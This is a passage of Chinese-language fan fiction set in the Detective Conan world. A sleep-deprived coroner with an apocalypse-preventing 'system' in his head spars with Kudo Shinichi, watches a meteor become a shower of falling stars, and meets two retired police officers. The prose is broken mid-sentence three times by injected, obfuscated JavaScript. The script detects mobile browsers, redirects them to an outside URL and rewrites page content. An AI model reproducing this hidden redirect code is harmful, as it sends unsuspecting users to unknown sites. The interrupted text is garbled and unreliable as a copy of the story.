完全被黑泽先生的逻辑绕进去了啊! “巧合太多了,”黑泽阵平静地说,“更何况没人能保证你不是对侦探的名声感兴趣,还有嘲笑警方。” “我没嘲笑……”工藤新一无奈道,“躲在幕后制造案件,再自己破解这种事情,漫画里都不会这么搞吧。” “符合你这个年纪的风格,”黑泽阵笑了笑,“你父亲就健康很多。” “老爸真的单纯在写小说而已。”工藤新一虚着眼回答。 “我很愿意相信你的辩解,”黑泽阵耸了耸肩,“所以你还活着。” 疯子杀人好像是会轻判的来着……工藤新一有些汗颜:“所以……你打算让我证明什么?翻我的社交账号证明我没有传播杀人点子?” 虽然这是侵犯隐私,但黑泽医生已经说得他有点愿意以此自证清白了…… “如果我的猜测是真的,以你的智商,不会留下这种破绽的,”黑泽阵摇头,“更何况我不是你们这些侦探,我不在乎证据。” “所以……”工藤新一有些疑惑。 “今晚的案子是个机会,”黑泽医生镇定地微笑,“我会试着观察你。” 这人真有种不管做什么都理所当然的气场在,工藤新一差点都要跟着点头了,好在及时反应过来:“……你就那么确信今晚会有案子吗?” “你应该希望有,”黑泽阵耸肩,“毕竟没有的话,你的‘案件相关率’就又增加了。” “可是,即便真的有案子,您也会认为那是因为我原本打算要去吧。”工藤新一以看透一切的无奈腔调说道。 银发男人完全没遮掩,点头道:“但至少能降低你亲自参与犯罪的概率。” 工藤新一曾经很欣赏黑泽医生缜密的思维,但现在他只觉得这种人在跑偏的情况下会变得更加可怕…… 不过,如果站在对方的立场上,好像也不是不能理解,假如是他自己发现某人和案子的关联性这么高,说不定也会有点怀疑……但又不是我想要遇到这么多案子的啊! ——不对,我也不是不想…… 一阵电话铃声打断了侦探的思绪。 黑泽阵拿起手机看了眼,毫不意外地按下接通键,直接选择公放。 手机里立刻传来高木的声音:“黑泽医生您下班了吗?我们刚刚接到报案……” “百川宅?”黑泽阵打断他的话。 “咦,您已经接到消息了吗?”对面的警员不疑有他,“我们正在赶往现场的路上,您如果下班了的话需不需要……” 法医先生向满脸无奈的侦探投去胜利的眼神。 5. 流星 案子如约而至,一向敬业奉献的法医先生则另有准备。 “我今晚有事,”黑泽阵说道,“现场检验你们自己找人,如果需要解剖就送去医院,具体报告等明天。” 这话一出,对话顿时中断,进入一种固定流程被打断后的空白。 法医先生忙成这样,当然不可能次次都去现场,但他直接以私事拒绝还是非常少见,隔着电波,都仿佛能感知到警员大脑飞速转动的混乱声音。 黑泽医生镇定地等待了十几秒钟,对面才传来磕磕绊绊声音:“哦,哦,好的……那个,不打扰您了,您去忙吧……” “等等。”黑泽阵说。 这又回到一般流程了,对面很快应道:“是的?” “我这边有人对这个案子很感兴趣。”黑泽阵说,“到现场之后,记得给他回电。” “啊?”对面又懵逼了,“这个,黑泽医生,您也知道,我们办案一般是不允许外人插手的,案件的消息也不能随便透露……” 黑泽阵把手机往边上一递,工藤新一满脸无奈地接过去:“咳咳,高木警官……” 这下对面彻底卡壳了。 高木涉并不是个嘴很严的人,更别提他电话打得一惊一乍,都还没挂断,所说内容就暴露无遗。 一车的人都跟着他经历了“黑泽医生竟然不来现场”和“黑泽医生终于彻底疯狂绑架侦探”的双重震惊,开车的千叶吓得询问要不要转头回去救人,被目暮满头黑线地制止了。 “你觉得来得及吗?”他捂着头说,“反正犯人是谁很清楚,等把眼下这个案子解决了再说。” 目暮警官,你也加班加得不太正常了吧……高木只敢在心里吐槽。 但这话也不是没有道理,以双方的武力值,黑泽先生真要动手的话,等他们赶去,工藤新一恐怕都凉了。 警官们便继续原定的流程,可能是路上得到的消息太震撼了,等到了案发现场,面对尸体的时候,竟然都有种恍惚感。 这里竟没有侦探也没有法医,这还是米花的案发现场吗…… 八卦的气息不合时宜地回荡在杀人现场,而在警官们想象中的绑架地,气氛十分平和。 “被绑架”的工藤新一只纠结了几秒钟,就嘀咕着“我还没试过当安乐椅侦探呢”,愉快地取来纸笔准备等会儿记笔记了,而旁边的沙发上,黑泽阵面无表情地望着面前的虚空。 系统正在他脑子里吵闹。 “呜呜,好感人哦……”它不知道在感动些什么,“想不到你还有这么体贴的一面,这个自证清白的套路也好可爱,通过观察真的能看出来吗,太神奇了吧……” “你该不会,”黑泽阵听他念叨半晌,终于明白过来,“真信了吧?” 正碎碎念的系统猛地一顿:“……啊?” 黑泽先生不知该说这玩意什么好:“我今天为什么来这里,你不是最清楚的吗?” “咦?”系统又卡壳了几秒钟,才发出一个音节,“啊。” “等会,所以,你刚刚说的那些……”它懵逼道,“都是骗人的吗?” 这人是这种说谎信手拈来的人设吗?? “不完全是,”黑泽阵回答,“那些推论我确实想过,也确实考虑过验证。” “只不过太忙,一直没顾得上。”所以觉得还不如直接杀掉比较方便。 “原来如此,”系统明白了,但还有点恍惚,“怪不得你能说得那么有道理……” 其实也未必多么有理,但只要态度够坚定,总能把人唬住。黑泽阵默默地想:唬到系统头上倒是他没想到的。 很好忽悠的系统兴致勃勃地说:“这么说,今天也算是一个机会嘛!你还是可以观察他呀。” “那倒是不用,”黑泽先生意味不明地笑了笑,“我已经得出结论了。” 人有时候还是得信一点玄学。 “哎,这么快吗?”系统惊讶道,“其实我还想说,要是你嫌麻烦的话,我直接告诉你也行呢。” 这家伙有时候意外的坦诚。 黑泽阵一时没有答话,恰在此时,工藤新一的手机响了。 他很自然地将目光转向接起电话,进入到“侦探模式”的高中生身上,一只手轻轻按在自己的太阳穴上。 “不着急,”黑泽先生慢慢地说,“等一个好些的时机……我现在太累了。” 系统默了一瞬,声音柔和下来:“当然没问题,随时都可以,我们可是要一起拯救世界的呀。” 这话让黑泽先生很轻地笑了声,惹得对面的高中生投来疑惑的一瞥,但工藤新一没有什么走神的空间,很快又投入到案件分析当中去了。 而黑泽阵往沙发上一靠,在“尸体周围有什么异常吗”的背景音里,继续跟系统对话。 “说到这个,”他随意地说,“时间确认了吗?” “没有,”系统有点尴尬,“其实一般是不需要卡某个时间点的,但这一次比较特殊……” “还真是什么都很特殊啊。”黑泽先生轻笑道。 时间地点人物,他已经听系统说过几次“特殊”了。 “第一次嘛,”系统倒也坦诚,“而且这次的末日场景是陨石,就会比较精准。” 黑泽先生微微挑眉:即便早就知道,但听到“末日”和“第一次”出现在一个句子里,还是让人觉得有些诡异。 “陨石……该不会砸到这里吧。”虽然是疑问句,他的语气中却没有多少疑惑,倒有点惆怅。 “现在肯定是不会的啦。”系统变向承认了原本的走向。 黑泽先生眉目间的笑意并未散去,他站起身,走到窗前推开窗户(工藤新一又在“这么说他没有不在场证明咯?”的间隙看了他一眼)。 在灯火通明的城市中,夜空给人以种虚幻的错觉,极目远眺之下,隐约浮现出几点稀疏的星光,被明亮的灯光映照得几乎隐形。 不过,若是陨石的话,应该很难被忽视吧? 一道闪光突然亮起,却是系统把商城界面打开了。 “应该快到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716745|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间了,我要先准备一下,”它小声地碎碎念,“虽然其实也就是用个仪式道具……” 以漆黑的夜空作为背景,这发光的界面显得更晃眼了,黑泽阵微微眯起眼,看着系统操作:“‘仪式’?” “不是很常用的道具,但我是个系统嘛,这种不需要额外行动的模式比较适合我,”系统倒是很乐意解释,“比如这个‘童话故事系列’,只要有和故事中的场景对应的事物在,就能按照故事内容运作起来,事物的概念越契合,消耗的积分越少,但即便是强行使用,只要扔进去的积分够多,就都能起效。” 虽然说了这么长一段解释,但还是不太清晰,它顿了顿又说:“你看过就知道了。” 黑泽先生的注意力却不在这上面:“童话故事?” “童话故事很适合这个世界,”系统笑道,“消耗会比较少。” 医生有些惊讶,他转过头,目光在侦探身上停留一瞬,而后笑了笑:“是吗。” 名侦探的后脖颈敏锐度十分之低,他完全没注意到黑泽先生的目光,还在认真解密。 “所以说,凶手就是死者的丈夫,”工藤新一隔着电话说道,“也就是百川先生本人!” 他语气坚定,神采飞扬,尽显名侦探的气魄,要是在现场一定颇受瞩目,可惜眼下这里只有法医先生在,这慷慨激昂的发言反倒让他把目光转回窗外去了。 黑泽阵将系统屏幕移开一点,继续看着天空,不知是否由于这份光亮的映照,总觉得夜空黑得越发深沉,仿佛就要倾泻而下。 也可能只是……心理暗示造成的错觉。 不过,那漆夜尽头闪烁的红光恐怕不是错觉。 “童话系列还有一个好处,”系统突然说道,“它能自动将被解决的灾难合理化,所以不至于被科学家们发现今天有个陨石差点砸咱们头上。” 黑泽先生轻笑,一点没有即将被陨石袭击的紧张:“它确实挺准的。” “应该夸我算得准吧!”系统嚷嚷。 它难得展现出一点符合“高级智能”称号的能力,闪着光的屏幕在黑泽先生眼前飞速运转,大量文字流水般划过,草草扫视之下,倒有种数据洪流的错觉。 不过若是仔细看的话,会发现其实是不同版本不同语言的童话故事,甚至还有插图。 ……所以其实是个文科的系统吗? 黑泽阵没有勉强自己去分辨每一种语言(他确认其中有些纯属乱码),这些图文也没有持续很久,系统将“仪式”所需的项目一一确认,眼前的屏幕安静下来。 黑泽先生饶有兴致地盯住了它,完全没在意夜空中那越来越清晰红色流星,布满字迹的屏幕闪烁一瞬,在下一刻,已然化作 ——鲜红的苹果虚影。 在黑泽先生的视角中,虚影精准无误地覆盖在实体的流星之上,并在下一秒与它一起轰然炸开。 仿佛有风凭空而起,穿堂而过,伴随着屋内“就尽管找我名侦探工藤新一吧!”的发言,今夜的米花迎来一场流星雨。 6. 故事中的人 流星的光芒划过寂静的夜空,在半空中稍纵即逝,只留下绚烂而短暂的痕迹,但这样短暂的痕迹在此时被几十上百次的重复,仿佛整个夜空的星星都要坠落下来。 总是与人们美好祝愿联系在一起的事物,此时看来竟也显出几分可怖。 不过对米花人来说还是不算什么,黑泽阵能听到不远处有路人在激动地欢呼,而他自己的感想是……这倒是没有闪光屏幕那么晃眼。 所谓的末日最后留下的就只有这点东西而已,还真是,如系统所说,意外的简单啊。 系统本统正在黑泽先生脑子里一本正经地解说着:“不规则球状,能使人昏迷,红色实体。” “陨石和毒苹果。” 这么一概括,概念好像确实挺契合的,但怎么想都是强词夺理而已。 这个所谓的仪式,适应性真是很强。 “仪式来自《白雪公主》,”系统接着说,“这你总该听说过吧?” “我看过童话故事。”黑泽先生轻笑道。 “哎?”系统有些意外,但没想太多,便继续道,“那你应该知道,毒苹果是在王子与公主相遇后失效的,因此我们还需要一个王子和一个公主。” “这就是为什么我说,你们两个都在场的话会比较方便。” “可以了,”黑泽阵按了按额头,“我不想知道你的角色分配。” “哎呀没事的,”系统心很大地说,“要是没有别的人在,我还打算自己占用一个概念呢,那样积分就花更多了,毕竟我都没有人形。” 比起智能水平,这玩意在其他方面好像更了不得,黑泽先生叹了口气,转过身看向屋里的另一个人。 工藤新一已经结束了推理后的寒暄,此时也正往这边看过来。 “流星?”他惊讶地说。 绚丽的光彩映照在侦探澄澈的眸中,世界在死神的注视下迎来新生。 比起早已被工作磨平棱角的社畜,侦探明显还拥有一些对美的欣赏能力,他嘴里嘀咕着“没听说今天会有流星雨啊……”,目光却已经明显被窗外的景色吸引了。 黑泽先生从窗边让开,去拿自己的茶杯,他和走向窗边的工藤新一错肩而过,少年侦探目光一转,只觉得流光闪烁之中,那些坠落的星火仿佛都映在他身上。 “怎么?”敏锐度远超某名侦探的法医先生回眸问道。 “哦,没事,”那莫名的直觉一闪而逝,工藤新一未能从中觉察到什么,于是看向窗外,继续了方才的话题,“原来黑泽先生你刚刚在看流星呀,许愿了吗?” “没,”黑泽阵拿起水,“你可以试试。” 同伴这么冷淡,工藤新一原本能有三分兴趣,现在也没了,他耸肩道:“算了吧,没什么意义。” 虽然这么说,他还是站在窗前仰望了一会儿夜空,直到流星雨渐渐稀落,才转过身,靠在窗边笑道:“现在您可以说,您观察的结论是什么了。” 黑泽阵隔着两三步与他对视,手上依然端着已经凉掉的茶水,神情有些莫名。 他沉默了几秒钟才开口,语气很笃定:“我知道你不是罪犯。” 甚至都不需要系统的出现,他对此一向是笃定和确信的,正如今天来到这里的时候,他就知道空间的阻隔并不能阻碍侦探的智慧,那个案子的结果根本不必言说。 可是事情的关键从来不在于此。 夜风从窗户吹进来,带来些许凉意,工藤新一总觉得自己身上也毛毛的,以至于笑容都变得有些勉强:“那就是说……” “但是,”黑泽先生继续说,“如果这些案子都与你无关,情况难道不是更糟糕了吗?” 他分明站在灯火通明的室内,眸光却比夜空更加幽暗:“那些命案汇聚在你周围,总有一天会把你吞没的,侦探。” 工藤新一神色怔然。 他很想继续说“这只是巧合”——确实就是巧合嘛——但偏偏他自己也清楚的知道,巧合发生的次数太多了。 “别说得这么神神叨叨的啊,”少年下意识地移开目光,“侦探就是要和案件为伍的嘛,这很正常。” 他看着并不十分自信,但黑泽阵没再多说,只是垂下眸轻微地笑了声。 自从被黑泽医生看作“罪魁祸首”之后,工藤新一许久没见他在自己面前露出这种算得上柔和的表情了,此时竟又是一怔。 刚才破案的时候,他好像也这样笑过…… 这神情只持续了一瞬间,没等侦探再想到什么,黑泽先生便放下茶杯,不再继续之前的话题:“时候不早,我告辞了。” “哎?”工藤新一没想到谈话这么快就结束了,他下意识地又往窗外看了眼,先前灿烂的流星已然消散殆尽,夜空重新恢复成一片寂静。 总觉得,今天发生的一切都透着股怪异之感。 侦探望向面前的男人,此刻心中突然升起了强烈的好奇。 “今天很晚了,”他因此劝说道,“要不就在客房住一晚吧?” “我要回去加班。”黑泽医生面无表情地回答。 好沉重的一句话,瞬间所有诡异气氛消散殆尽。 好奇心被迫终结,工藤新一几乎能读到对方“你以为是因为什么”的潜台词。 “我还以为,”他无奈地挠了挠头,“证明自己的清白之后,你的态度会好点呢。” 黑泽阵原本已经转身欲走,闻言倒是又转回来,对工藤新一笑了笑——这回是种让人汗毛倒竖的笑。 “你误会了,侦探,”他摆摆手,懒洋洋地说,“恰恰相反,如果真是你做的,还可以让你停手,但在这种情况下,就只有杀死你一条路了啊。” 工藤新一:我折腾这半个晚上到底是为了啥啊?! 法医先生来去匆匆,屋内很快陷入一片寂静,年轻侦探关掉客厅的灯,站在黑暗中望着窗外,出了一会儿神。 今天也不能说全无收获,虽然没有扭转黑泽医生的想法,但至少知道了他“剑指”自己的原因。 作为一个彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716746|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的无神论者,对黑泽阵的想法,工藤新一自然不能苟同,然而作为一个理性的人,他也不能对数据无动于衷。 自己遇到案件的频率确实不太正常……但这,应该也没什么吧? 无非就是有更多的机会破解谜题,抓住犯人的乐趣可是无与伦比的呀。 工藤新一的侦探生涯,不,是迄今为止的整个人生,都可以说是顺风顺水,遇到的每一个案子,带给他的都只有兴奋与成就感。 总是和自己过不去的法医先生大概都能算是他人生中为数不多的挫折了。 而这样顺遂又聪明的少年人,自然很难有足够的敏锐,去觉察那些潜藏的危险,直到有朝一日遭受迎头痛击。 目前来说,他显然还不够痛。 “你知道,嘴上说要杀死但是一直不动手的话,会有点像情……”系统的最后一个字轻得几乎听不见了,“趣。” “那我现在回去动手。”回到解剖室的黑泽医生面无表情地说。 “不不不我开玩笑的,”系统反应很快,连忙道歉,“我错了,我马上就把报告写好。” 黑泽阵冷笑一声,系统只觉阴风阵阵,终于感觉到一点与尸体同在的寒意。 总觉得,虽然宿主比想象的温和一些,但又比预估的狠一点……到底是怎么回事嘛。 系统半晌没敢说话,与此同时,解剖室边上的电脑自动开机,验尸报告的界面迅速出现在屏幕上,填写速度和拯救世界的时候也差不了多少。 没多久该写的报告就写完了,尸检这边还没结束,系统不知该不该开口汇报,纠结半晌,还是医生先开的口。 “所以,”他凉凉地说,“工藤新一是主角?” “woc你怎么知道的。”系统脱口而出。 算起来系统根本没有用心隐瞒。 又是“故事”,又是“唯一不能杀”的特殊身份,几乎是把暗示拍到脸上了,它现在表现得如此惊讶,倒让黑泽先生觉得有点好笑。 但他没在这上面纠缠,系统是真傻还是装傻,对黑泽先生而言并没有什么区别。 他敷衍地给了个答复:“猜的。” 这份敷衍系统倒是听出来了,只是也没立场让人家认真解说推理过程,于是默了一会儿,嗫嚅道:“你真的需要我解说吗,感觉什么都能猜到了。” “不至于,”黑泽阵算不上安抚地说,“我懒得思考。” 没等系统想明白“这是不思考的效果吗?”,他就又说道:“这么说,从故事的角度上,我应该是反派。” “你这不是想得很清楚……”系统嘀咕,“为什么偏偏对自己的反派身份这么肯定啊。” “我都想杀主角了。”黑泽先生耸肩。 不过,以侦探为主角的故事,应该是探案为主的吧……感觉这个反派位很鸡肋啊。 真是毫无反驳余地的发言,系统叹了口气,但很快声音昂扬起来,还打开屏幕在宿主眼前放了个闪闪发光的大拇指:“是头号大反派哦!” 7. 真实的世界 黑泽先生盯着那个大拇指沉默了几秒钟,直到它开始闪烁,才叹气道:“……谢谢。” 法医应该没法在侦探故事里当头号反派……吧。 除非这是个工藤新一躲避他追杀的故事。 系统倒是很高兴,大拇指欢快地化作一小撮烟花:“现在情况是不好说了,但也不重要,有我在的话,你肯定不会出事的!” 黑泽先生没觉得自己会出什么事,除了加班猝死。 “话说回来,”系统又好奇道,“你是什么时候意识到的呀,我没想到你这么自然就接受了这件事。” 它还想了好久,要怎么在不激怒宿主的前提下,告知他这个世界其实依托于动画故事呢。 结果……完全想不起来宿主之前有过什么特别的反应了,他是这么心平气和的人吗? 黑泽阵象征性地回忆了一下,然后镇定地表示:“忘了。” “忘了?”系统惊了,“这也能忘吗?” 不求多大反应,但忘了是不是有点太夸张了? “人在缺乏睡眠的时候,记忆力是会受损的。”黑泽医生客观陈述事实。 是这个理由吗?!系统更震惊了:“连推理过程都忘了吗?” 难道说这人其实是记忆力很差的类型? “没有推理,猜的,”黑泽先生说,“你别那么惊讶……人忙工作的时候不太有精力去思考世界是真的还是假的,不如说是假的可能更好。” 更别说他早就觉得这世界不太对劲了。 系统立刻不关注对方是啥时候发现这件事的了,它飞快地说道:“也不能用‘假’来形容吧,只是另一种存在方式而已。” 它的反应如此急切,让黑泽先生低眉微笑:“比如说你?” “对,”系统答得非常干脆,“比如说我。” 这世界由虚幻的故事而生,但在那之后,一切都有自己的轨迹——它也是因此才会来到这里。 “我们要拯救的是真实的世界。”系统斩钉截铁地说。 这充满激情的发言没有得到宿主的回应,黑泽先生沉吟片刻,戴上手套:“记得写报告。” “啊,哦。”话题的快速转换让系统有点蒙圈,但它还是配合地开启电脑,投入到工作之中。 这具尸体的检验并不困难,黑泽医生很快完成工作,倒是系统多花了点时间整理报告的措辞。 它的智能水准确实是忽高忽低,拯救世界的时候能一瞬间读取大量的数据,写起报告来却时不时要卡一下。 但能力上终究还是没有问题,黑泽医生一边整理器材,一边说道:“有件事我很好奇。” “什么?”系统一心两用,毫无障碍地接话,也很好奇他在好奇什么。 “你为什么不去找个更合适的人?”医生若有所思地说,“我看不出自己有什么救世主的潜质。” “还是个反派。”他补充。 “啊这……”系统语气飘忽,“我也不太清楚来着……” 黑泽阵没有回话,沉默地继续收拾着,系统也不知从这份沉默中读到了什么,有点紧张地说:“我是说真的,我不能自己选定宿主的,进入世界之后会自动绑定在最合适的人员身上,一般来说是没法换人的。” “所以,你肯定就是最合适的啦!”它努力让自己的声音显得充满希望。 黑泽阵捕捉到关键词:“一般来说?” “除非宿主死掉。”系统老实回答。 那倒是难怪它在自己如此不配合的情况下还在坚持,黑泽阵很确信,自己别的不说,确实是挺难死的。 法医先生摘下手套和口罩,走出解剖室,从衣服内侧掏出包烟,给自己点上一根。 “听起来,你还挺不容易的。”他一边往办公室走一边说。 “还好啦,这是我的工作嘛,”系统很实诚地说,“我们也要考核kpi的呀,干得不行会被开除的。” 照这说法,“系统”还有自己的一套体制在,不过那就不是黑泽先生要关注的事情了。 “你别看我这样,”系统本统倒是起了谈兴,“我可是优秀员工哦,否则也不会被派来执行这个任务了,不是我说,你们这个世界真是超危险的。” “因为侦探故事,还是别的?”一根烟很快抽完了,黑泽阵把烟头按在烟灰缸里,随口问道。 “都有——主要还是世界末日的问题,”系统顿了顿,“不过你放心,我们合作的话,再危险也没问题——今天不就很完美嘛!” 完美与否还不好说,但确实如它所说,不需要自己做太多事情,这大概能算是个好消息。 “但是,如果次数太多,还是很麻烦。”黑泽先生走进洗漱间,同时继续在心里和系统说话。 “这个,也不会太多吧,”系统有点犹豫地说,“至少……肯定不会上两位数的,放心啦,我都能预知的,末日内容、最合适的破解地点,还有大概的时间,不管多少次,一定都能提前通知你。” 怎么听都还是很麻烦,但比起他能得到的,也还算可以接受,黑泽阵问道:“你没有办法一次性确定所有的末日可能吗?” “这个做不到,我只能预知即将到来的那场末日,”系统说道,“不过末日本身也不会来得很频繁的,别看我们处理的时候好像很简单,但再怎么说也是世界末日呀。” 它在处理的时候,倒确实感觉轻飘飘的,毫无实感…… “而且,除了这个,我对你来说也是有用的嘛,虽然不能直接干涉现实,但我在你脑子里,至少可以……”系统想了想,“提醒你起床和吃饭呀!你的作息太不规律了!” “……你还是多学习写报告吧。”黑泽阵恢复了面无表情。 他没给系统继续说话的机会,合上眼,一枕安眠。 一晚上没有被新尸体打搅,黑泽阵醒来的时候都觉得有点不真实。 而最“不真实”的玩意还在他脑子里,系统大惊小怪地嚷嚷着:“你睡得也太少了吧,要不要再睡一会儿?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716747|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他确实是比较少眠的类型,若非如此也很难在米花当法医而不猝死,但今天这分明是正常的起床时间,黑泽医生并不觉得有什么值得惊讶的。 ——然而系统的风格他也有所领悟了,干脆就没理。 洗漱完之后,黑泽阵从一旁的冰箱里拿出一个速食包,放进微波炉里加热。 系统再次惊讶:“之前都没注意,你这办公室里东西很全嘛。” 说是“办公室”,其实和一个小公寓也相差仿佛了,吃喝能够加热,洗澡睡觉也很方便,除了小点简直没有什么缺陷。 黑泽阵轻嗤一声,其意不言自明,系统了然道:“也是,你平常应该就住在这里……你该不会没有自己的住处吧?” 在系统念叨半天之后,黑泽医生总算还是答话了,只是语气十分冷淡:“没什么机会回去。” 忙得有家不能回,实在是闻者伤心听者落泪。 系统就很配合地发出了“呜呜”声:“我一定好好干活,争取让你能每天回家!” 黑泽阵把早餐从微波炉里拿出来,漫不经心地应道:“你的世界末日少来几个或许更有效。” “这也不是我能决定的呀……”系统无奈道,“我只能说,最近几天应该不会有事,唔,这个时间点的话,案子应该也不会太多……说不定真的能休息一下呢。” 系统所言不虚。 这天是个惊人的“休息日”,一整天都没有需要解剖的尸体出现,验尸环节也都很简单,黑泽医生甚至有些空闲,去整理了一部分过去的报告。 其间还来了几波试图打听“工藤新一绑架案”的警员,可见警视厅的效率也是锻炼出来了,没有什么复杂案件时,这些人都很闲。 于是黑泽医生现场“绑架”了几个人帮自己整理资料。 很快就没人来打扰他了,当天晚上意识到自己差不多能准点下班时,黑泽阵差点怀疑系统已经背着自己把工藤新一干掉了。 “怎么可能,”系统大声喊冤,“我可是一直安安分分地在写报告啊!” 听起来更可疑了。 但这并不重要,重要的是珍惜这难得的机会,在米花干法医,谁也不知工作何时会突然出现。 黑泽先生迅速下班,他走在米花的街道上,甚至不太记得自己上一次这个时间下班是什么时候。 “我还不知道你住在哪,”系统兴致勃勃地说,“你是租房吗,还是有自己的房子?” 黑泽阵现在意识到,这家伙一直在自己脑子里吵吵嚷嚷的,可能只是单纯的话多。 他随口接话:“你好像很感兴趣?” “毕竟这是在米花,难免的,”系统嘿嘿笑,“你总不会在意什么凶宅吧?” 听它的意思,以后的米花凶宅会特别常见……真是个糟心的消息。 系统毫无觉察,还在愉快地念叨:“你也不用担心遇到小黑,虽然米花确实卧虎藏龙,但你毕竟是……咦?” 它的声音一顿:“这里好眼熟呀。” 8. 退役警官们 眼前是个颇为繁华的街道,两边开着许多店铺,来往人群繁多,十分热闹,总之,并不像是系统理解中黑泽先生会住的地方。 而且确实很熟悉。 自从来到这个世界,系统就和法医先生绑定,除了警署和工藤新一家,哪都没去过,这里会让它觉得熟悉,只能是因为…… 正当系统想要调取自己储存的资料之时,临街某个店铺二楼的招牌突入画面。 “毛利……侦探……事务所……”系统小声地念着,“怪不得,原来是……毛利侦探事务所?!” 突然变大的音量让黑泽先生皱起了眉:“怎么?” “你住在米花商店街?!”系统持续震惊。 “这里的房子比较好租,而且近,”黑泽先生停下脚步,看了眼邻居家的招牌,“有什么问题吗?” “也不能说有什么问题……”系统为自己的一惊一乍感到抱歉,“是我反应太大了,因为没想到……哎哎哎???!” 它话才说了一半,正巧一个男人从波洛咖啡店里走出来,于是接下来的话语变成了更大的叫声。 简直让人以为眼前的不是人,而是个怪物。 黑泽先生合了下眼,要不是眼前有人,他多少要出口说几句,而不是只在脑内让它闭嘴。 来人转头看到他,倒是笑得很愉快:“哎呀,黑泽先生,你终于回来了。” 那张脸相当俊朗,身材和着装也相得益彰,总之,绝不应该是会让人发出见鬼叫声的类型——年轻女生的那种尖叫倒是有可能, 非要说有什么特别的,可能是他那件T恤的右边袖子空空荡荡,几乎是从肩膀下就没了支撑。 因为其他部分都很完美,所以这种缺陷会更令人遗憾,但也绝不是系统还在坏掉一样地念叨“怎么会……难道说……为什么……”的理由。 黑泽阵又一次让系统闭嘴,然后才回应了松田阵平的招呼:“……我没走过。” “你已经半个月没出现在这条街上了,”松田摆了摆手(这只还完好的手上也都是烧伤的痕迹),“说是回来也不为过嘛。” 完全没法反驳,在米花町当法医是这样的,隔着两条街,活得像是在出差。 “而且,这是不是你今年第一次准点下班?”松田看了眼手表接着说道,“去我店里喝一杯?我正打算开门。” 系统还在芯里嘀咕“开门?什么开门?”,那边松田阵平已经探头进咖啡店里,兴致勃勃地喊道:“萩,等会要不要去我店里?你看谁回来了?” 黑泽先生第一次主动打开系统界面,试图寻找静音键。 糟糕的是他没能在萩原研二坐着轮椅出现之前找到那玩意。 于是伴随着波洛咖啡店的主人友好的“你回来了呀黑泽医生”,系统在他脑子里发出了新一轮尖叫。 也许应该庆幸自己会读唇语。 黑泽先生拿出他那在世界末日前都面不改色的素质,在系统快变成乱码的碎碎念中和邻居打招呼。 多亏他本来就不是热情的类型,招呼打得面无表情也不会有人怀疑。 更好在系统那疑似中病毒的状况只持续了很短的时间,一句清晰的“这世界是怎么搞的”之后,它就宕机一样突然消音了。 也不知道是去办事,还是单纯CPU过载。 ……话说,如果这玩意真的有CPU,难道是在自己脑子里吗。 “今天先不喝酒了,”黑泽先生按着眉心,他糟糕的脸色让接下来的发言很有可信度,“我得回去休息。” 他面前的两位前警察对米花町的治安现状算是有所了解,此时都露出了理解又同情的表情。 “真是可惜,不知道黑泽医生下次回来是什么时候,”萩原研二笑道,“这次错过又要很久不见了。” 越说越像是出差了,还是那种远赴海外的长期出差,黑泽先生无奈道:“明天早上还有机会。” 如果今天半夜没有被喊回去的话。 这样的事经常发生,所以后来他就睡在办公室了,若非系统担保,今天他也不见得会回来。 虽然这个系统也不是很靠谱…… 黑泽阵控制住了无故叹气的欲望,但也没了继续对话的兴致——这神经病系统还不知道在搞什么呢:“我回……” “对了,你还没吃晚饭吧?”萩原突然说道,“我给你拿份三明治吧!” 他话一说完,就转动轮椅十分灵活地回店里去了,没给黑泽先生任何回话的机会。 回家的流程因此一停,接着松田阵平单手插兜,突然靠近过来。 “说起来,黑泽先生,”他的声音里有种隐约的兴奋,“听说你昨天绑架了工藤新一?” 由于工作性质和工作能力,黑泽医生在整个东京警界都算是名人,其名气可以说不亚于“日本警察的救世主”工藤新一。 而当二者结合起来,八卦的流传速度更是惊人。 黑泽医生每天忙着加班,和人类见面的机会都很有限,他那些关于工藤新一的推论,以及想搞死工藤新一的言论,基本上都是在各种八卦会谈之上传播出去的。 甚至还有一些警察,因为不满那什么“救世主”的称号,对他暗自支持。 不过,也有一部分人认为,法医先生和侦探的关系应该没有那么差,毕竟除了建议把工藤新一抓起来之外,黑泽医生并没有其他特别的行为。 对此,支持者们则认为,以黑泽医生的忙碌程度,他可能不是不想做,只是没空。 总之,因为没人觉得黑泽阵真会把工藤新一干掉,许多人甚至还有点期待他做些什么。 这就是为何“法医绑架侦探”的传说会流传得如此之快,甚至扩展到退休警察群体当中。 更别说在米花商店街开店的这两位退休警察,在情报方面都相当灵通。 “但昨晚好像还是发生了案子吧?”松田阵平兴致勃勃地说,他对黑泽医生的那套理论显然也有所耳闻,“工藤新一看起来有什么异常吗?” 